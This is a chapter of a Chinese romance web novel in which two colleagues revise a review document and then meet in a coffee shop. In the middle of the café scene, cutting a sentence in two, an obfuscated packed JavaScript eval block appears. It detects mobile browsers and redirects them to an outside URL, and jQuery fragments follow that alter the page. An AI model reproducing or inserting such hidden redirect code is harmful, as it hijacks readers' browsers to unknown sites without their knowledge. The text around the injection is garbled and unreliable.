季忻州醒来时，闹钟还没响。


    卧室的窗帘拉着一半，清晨的光从高层落地窗外斜斜铺进来，在地板上铺开一条淡淡的灰。空间几乎没有声音，中央空调维持着恒定温度，空气净化器在角落里极轻地切换了一次模式，随后又归于宁静。


    他在床边坐了几秒，伸手摸到手机。


    屏幕亮起——06:35。


    远处的楼群像一整块灰蓝色的轮廓，天色慢慢变亮，城市还没真正苏醒。


    未读邮件有几封，季忻州扫了一眼，没有点开。


    手机被重新放回床头，起身走进洗漱间。


    水流从指缝间滑下去，温度适中，能把残余的睡意一点点带走。镜子里的他与工作状态相差许多，额发垂在眉骨上，不似平日打理过的样子。轮廓显出几分柔和，没有会议桌上锋利的压迫感，很日常的样子。


    柔软带着温热的毛巾盖在脸上，恍惚间听到一声叹气。


    书房开放式式的房间干净简洁。玻璃隔断通透，长桌上两台显示器与笔记本并排，文件整齐叠在右侧，边缘整齐。桌面看不到多余的线缆，电源连接线也一同被收进桌下的隐蔽槽中。


    季忻州掀开笔记本，屏幕几乎瞬时亮起，外接显示器随即同步。


    共享文档自动跳到目录页。


    昨晚的顺序就停在那儿——流程、数据、删减逻辑，最后再补充问题。


    完整，但仍有欠缺。


    季忻州盯着那一行标题看了片刻，手指落在触控板上，光标停在[删减逻辑与判断边界]上方，滑开，又滑回去。


    这不是内容的问题，是落点的问题。


    他不喜欢把关键判断放在最后。那样的顺序意味着讨论可以被消耗，可以被拖延，甚至可以被情绪覆盖。


    纪书宁那句“逻辑写清楚”，看似是提醒，落在他这里更像是一个明确的信号——


    既然要写清楚，就不要把它藏在后面。


    林黎昨天那一段讲得够明白。


    她有判断，也有分寸。但她未必会主动把自己放在第一位。


    光标往上拖。


    [删减逻辑与判断边界]被提到最前。


    流程数据顺势后移，层级重新排列。原本留出来的缓冲说明被他删掉两行，直切要点。


    页面一下子干净了，几乎没留多少余地。


    逻辑线条清晰、直白，没有过渡。


    季忻州靠回椅背，从头到尾过了一遍。


    总部复盘，不该从细节开始。


    要先定框架。


    鼠标移到标题末尾。


    他删掉了几个字，停了一秒，又敲了回去。


    保存。


    共享。


    权限设置里，他没有选择直接抄送给林黎。而是将她的访问级别从“可见”改成“可编辑”，又勾选了“可建议”。


    没有附加解释说明，只是把一把钥匙放到桌上，不推到对方手里，也不刻意藏起来。


    合上电脑之前，季忻州看了一眼时间。


    07:35。


    他走到厨房倒水，落地窗外的光线已经完全铺开，玻璃上映出他半截身影。


    楼下草坪边，有人牵着狗慢慢绕过花坛，整座城市正从清晨的灰色里一点点醒过来。


    季忻州站在窗边，手机在掌心翻了一下。


    想了想，发出一条消息。


    —


    林黎的手机在枕边震了一下。


    她没有睁眼。


    那一下震动像一颗石子丢进水里，波纹很小，却足够把她从睡眠边缘推出来。她皱了皱眉，翻了个身，脸埋在枕头里，试图把自己再塞回梦里去。


    几秒后，林黎睁开眼。


    视线还没完全对上焦点，天花板看起来有些发白。


    她摸到手机，屏幕亮起。


    07:45。


    通知横幅挂在屏幕上方。


    大大一个季字头像。


    还没彻底清醒的大脑自动进入一种“先假装没看见”的模式。眼睛重新闭上，没一会儿，又睁开。


    脑子试图启动。


    ……启动到一半，加载失败。


    她坐起来一点，头发散乱，整个人几乎裹在被子里。


    季忻州：【我把复盘顺序调了一版。】


    季忻州：【删减逻辑提前，开场你来。】


    困意瞬间散了一半。


    林黎盯着两行字看了一会儿，来回读了两遍才意识到要读懂意思。眼睛还带着刚醒的迟钝，但却记得不能点进对话框，这样就不会显示已读。


    往后一靠，伸了个懒腰，含糊念叨了一句：“这么早是要卷谁啊……”


    声音沙哑，带着点起床的怨气。


    昨晚她睡得属实不算早，完成了外快稿件后又翻了几页工作材料，脑子一直转到将近12点才停下来。现在不到八点，她铁定没睡够8个小时，梦都没做完整。


    索性直接把手机往被子上一扔，重新躺平。


    “上班再说。”


    话虽这么说，眼睛是闭上了，脑子却转起来了。


    总部复盘……


    提前……


    开场……


    林黎翻了个身，把脸压进枕头里，闷声叹了口气。


    “烦死了。”


    手机又亮了一下。


    【关键路径发生变动】


    【来源：外部】


    她眯着眼看了一眼，没懂，也不想管。


    “等着。”


    眼不见为净，她直接把手机扣过来，屏幕贴在床上，世界短暂安静了几秒。


    不到十秒，脑子还是不争气地转起来。


    如果提到最前，后面的数据要不要换顺序？解释是不是得再压短一点？昨晚她其实已经留了几句缓冲，给别人一个台阶。一点不留属实有点强人所难，总有人不爱动脑子，上来就开大，讨论会直接跑偏。


    林黎睁开眼，盯着天花板。


    “啧。”


    行吧。


    她坐起身，抓了抓头发，拖着步子去洗漱。


    水声响起，镜子里的她头发散着，眼神还带着没醒透的迷蒙。挤牙膏的时候，还是忍不住偷偷骂两句扰人清梦的人。


    牙刷被塞进嘴里，腮帮鼓起。


    ‘我们删减的不是步骤，是重复。’


    “滋滋——”


    ‘该留的留，没必要的可以适当删减。’


    “滋滋——”


    她忽然停住。


    嘴里全是泡沫，眼睛却慢慢亮了起来。


    脑子里那句话慢慢成型。


    ——“删减不是省事，是把判断提前。”


    林黎含着牙刷对着镜子重复，发音含糊，却越说越顺。


    镜子里那个先前睡眼惺忪的人慢慢有了精神，握着牙刷点头。


    她吐掉泡沫，漱口，低头洗脸的时候忍不住笑了一下。


    等擦干脸，涂上面霜，动作已经比刚起床时利落许多。


    她没在浴室多停留，几步走回卧室床边，拿起被面上的手机。


    没有立刻回消息。


    先打开备忘录，把刚刚那句“把判断提前”敲进去。


    保存。


    —


    出门的时候，电梯镜面里映出林黎收拾整齐后的样子。头发扎起，妆很淡，神情已经恢复到平日那种冷静的模样，只有眼下还带着一点没睡够的痕迹。


    电梯缓缓下行，数字一层层往下跳。


    她站在角落里，眼睛有些虚焦。昨晚的稿子发出去，今天讨论复盘，节奏比她预想得快一点，但也还好。


    楼门一开，热气扑面而来。


    晚夏的早晨没有真正的凉意。空气是温热的，带着一点黏。阳光已经铺满小区的空地，树影被拉得很长。她走出去，肩上的包带往上拉了拉，步子不急不慢。


    再出现时，已经是公司楼下。


    玻璃幕墙映着天空，楼前的树叶被晒得有些发蔫。上班的人陆续往大楼里走，步子都带着一点赶时间的节奏。她却在门口拐了个弯，径直走向旁边的咖啡店。


    木门被推开时带着一声清脆的铃响，冷气扑出来，裹着咖啡豆烘焙后的香味，瞬间把外面的热气隔在门外。


    林黎轻轻松了口气。


    店里刚过早高峰，排队的人不多。她站在队尾，手臂自然垂着，看着柜台后面的人忙碌。玻璃橱窗里摆着几款刚出的甜品，水果点缀得精巧，她稍微扫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242863|197815||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过一眼，没有兴趣，视线又落回菜单。


    “早啊。”抬头的店员认出她，笑着打招呼。


    “早。”林黎也笑，“冰拿铁一杯，不加糖。”


    顿了顿，又补了一句：“再加一份浓缩。”


    店员抬了抬眉，明显愣了一下，随即露出“懂了”的笑。


    “今天不轻松啊。”


    “嗯。”林黎耸了耸肩，“有场硬仗要打。”


    “那给你多续一会。”对方低头操作，语气带着点女孩子之间心照不宣的松快。


    林黎往旁边挪了一步，手机随意握在手里。窗外的光透过玻璃落在地板上，咖啡机蒸汽声低低地响着，磨豆机短促地转动，空气里升起一点焦香味。


    她侧头，看向窗外。


    人群在玻璃的反射层里一层叠着一层。


    然后，她在反射里看到一个熟悉的身影。


    还没来得及确认，门又被推开。


    铃声清脆。


    季忻州走了进来。


    他像是刚从公司下来，没穿外套，袖口卷到手腕。目光径直扫向收银台，很快落在她身上。


    林黎侧身，正好对上他的视线。


    两个人愣了一下。


    没有会议桌，没有投影电视，也没有人群。


    只有冷气、咖啡香，和操作间内隐隐传来的烘焙面包的香味。


    他往前走了两步。


    林黎先开口，“早，季总。”


    语气自然。


    “早。”他点头应和。


    “您好，请问需要什么？”店员问。


    季忻州扫了一眼菜单，明显停顿了一下。


    林黎侧头看他一眼。


    “你平时喝什么？”


    他没立刻回答，视线还落在菜单各种文艺名字上。


    “其实不太喝咖啡。”


    “嗯？”林黎眉毛挑了一下，“那今天怎么突然想试试了？”


    季忻州轻轻笑了一下。


    “早上办公室都是咖啡香气。”他说，“大家都在喝，闻着还不错。”


    林黎眨了下眼。


    “原来是被味道骗下来的。”


    “算是。”他承认得很干脆。


    “那就别点美式。”她往菜单上指了指，“很苦。”


    语气十分笃定，“第一口就会后悔。”


    季忻州顿了一下，没忍住笑了出来。


    短促、低低的一下。


    “那跟你一样。”


    林黎也不推脱，侧头帮忙点单：“冰拿铁，不加糖。”


    他跟着点头，“好。”


    店员全程在旁边听着，低头操作的时候嘴角一直压着笑。


    “加浓缩吗？”她故意问。


    “他的不加。”林黎直接开口。


    季忻州看她一眼，没有反驳。


    “听她的。”低头拿出手机结账。


    店员这时突然抬头，对上林黎的眼睛，眉眼弯弯地笑了一下。


    那种轻轻的、带点打趣的“哦——”的笑。


    林黎愣了一秒，有些不明所以。


    慢半拍才反应过来，低头看了一眼手机，像是突然对黑着的屏幕产生兴趣。


    手机也在这时跟着震了一下。


    “你平时都这个点来？”季忻州忽然问。


    她把刚抬起的手机放下。


    “差不多。”


    “难怪。”


    “难怪什么？”


    “办公室味道这么重。”


    林黎愣了一下，随即笑出来。


    “原来是我带坏的？”


    “有可能。”


    林黎低头看了眼自己手里的冰拿铁，冰块在透明杯壁上轻轻滑动，水珠慢慢往下淌。


    “那我得收版权费。”她随口接了一句。


    “可以。”他说，“算进部门成本。”


    她挑眉看季忻州。


    “你亲自报销？”


    “看情况。”


    语气一本正经。


    柜台另一侧有人喊了取餐号，蒸汽声又起，空气里短暂地热闹了一瞬。林黎笑了一下，把手机按灭，顺手塞回包里。


    两个人一起取了咖啡往门口走。